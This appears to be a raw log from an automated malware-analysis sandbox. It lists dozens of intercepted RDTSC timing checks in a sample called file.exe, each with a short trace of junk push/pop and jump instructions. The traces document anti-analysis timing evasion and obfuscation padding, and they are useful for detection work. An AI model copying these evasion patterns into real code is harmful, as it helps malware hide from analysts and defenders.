Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5792 second address: EB579F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F47DCFB8A3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB579F second address: EB57AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F47DD40FB76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5910 second address: EB591A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB591A second address: EB591E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A4A second address: EB5A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F47DCFB8A36h 0x0000000d jmp 00007F47DCFB8A48h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A6F second address: EB5A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5A73 second address: EB5A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DCFB8A45h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5BCE second address: EB5BDA instructions: 0x00000000 rdtsc 0x00000002 je 00007F47DD40FB76h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5BDA second address: EB5BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB5D41 second address: EB5D73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Eh 0x00000007 jmp 00007F47DD40FB7Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F47DD40FB76h 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB601C second address: EB6022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6022 second address: EB6027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADC2 second address: EBADDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F47DCFB8A45h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADDF second address: EBADE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADE3 second address: EBADE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADE9 second address: EBAE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F47DD40FBA5h 0x0000000d pushad 0x0000000e jp 00007F47DD40FB76h 0x00000014 jp 00007F47DD40FB76h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAE08 second address: EBAE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC27DA second address: EC27E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC27E2 second address: EC280E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F47DCFB8A48h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push edx 0x0000000d jg 00007F47DCFB8A36h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC280E second address: EC2814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2814 second address: EC281C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC281C second address: EC2833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F47DD40FB7Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2ACD second address: EC2ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2ADE second address: EC2AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2AE4 second address: EC2AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2AED second address: EC2AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC34ED second address: EC34FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F47DCFB8A36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC34FC second address: EC3530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F47DD40FB87h 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F47DD40FB76h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F47DD40FB7Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA0B7 second address: DFA0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA0C0 second address: DFA0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA0C4 second address: DFA0D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F47DCFB8A38h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA0D8 second address: DFA0F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB84h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA0F0 second address: DFA110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F47DCFB8A44h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA110 second address: DFA115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B2F second address: EC9B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B33 second address: EC9B39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB909 second address: EDB946 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F47DCFB8A3Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007F47DCFB8A42h 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F47DCFB8A41h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBAB3 second address: EDBABF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F47DD40FB76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBABF second address: EDBAFD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F47DCFB8A3Eh 0x00000008 push edx 0x00000009 jmp 00007F47DCFB8A3Fh 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F47DCFB8A40h 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBAFD second address: EDBB0D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F47DD40FB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBB0D second address: EDBB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD774 second address: EDD787 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F47DD40FB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007F47DD40FB76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD787 second address: EDD79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DCFB8A40h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE98F9 second address: EE98FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE98FF second address: EE9905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9905 second address: EE991A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F47DD40FB7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE991A second address: EE9920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9785 second address: EE979E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47DD40FB84h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC56C second address: EEC570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC570 second address: EEC582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB7Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B55 second address: EF3B65 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F47DCFB8A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B65 second address: EF3B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B69 second address: EF3B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B6D second address: EF3B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B75 second address: EF3B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3B7B second address: EF3BC3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47DD40FB76h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 jmp 00007F47DD40FB7Eh 0x00000015 pop ecx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F47DD40FB86h 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 jmp 00007F47DD40FB7Bh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF250A second address: EF2510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2510 second address: EF2514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF264E second address: EF2652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2652 second address: EF266C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47DD40FB84h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2821 second address: EF2842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F47DCFB8A47h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2842 second address: EF284C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF284C second address: EF2864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2864 second address: EF286A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF286A second address: EF2887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F47DCFB8A36h 0x0000000b jmp 00007F47DCFB8A3Ch 0x00000010 popad 0x00000011 push edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF29B7 second address: EF29D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F47DD40FB76h 0x0000000a pop edx 0x0000000b jmp 00007F47DD40FB7Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2C71 second address: EF2CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A43h 0x00000007 jmp 00007F47DCFB8A43h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F47DCFB8A41h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2E19 second address: EF2E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF38AE second address: EF38B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050CC second address: F050D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050D2 second address: F050D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050D6 second address: F050DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050DC second address: F050E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050E8 second address: F050EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050EC second address: F050F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04F8E second address: F04F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04F92 second address: F04FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F068F5 second address: F068FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F068FB second address: F06917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F47DCFB8A41h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0674D second address: F06777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB7Fh 0x00000009 popad 0x0000000a jmp 00007F47DD40FB80h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06777 second address: F0677D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14244 second address: F1427C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F47DD40FB76h 0x00000008 jmp 00007F47DD40FB80h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F47DD40FB8Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E028E8 second address: E028EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15DD8 second address: F15DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15DDC second address: F15DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47DCFB8A3Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24BB7 second address: F24BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24BBD second address: F24BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jo 00007F47DCFB8A3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24BCD second address: F24BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24E69 second address: F24E7F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F47DCFB8A36h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jnl 00007F47DCFB8A36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24E7F second address: F24E89 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25586 second address: F255A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F47DCFB8A36h 0x0000000a popad 0x0000000b jns 00007F47DCFB8A42h 0x00000011 popad 0x00000012 pushad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F255A8 second address: F255B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F47DD40FB76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2570A second address: F2572A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007F47DCFB8A4Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2707B second address: F2707F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2707F second address: F27088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27088 second address: F27095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27095 second address: F270A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F47DCFB8A36h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
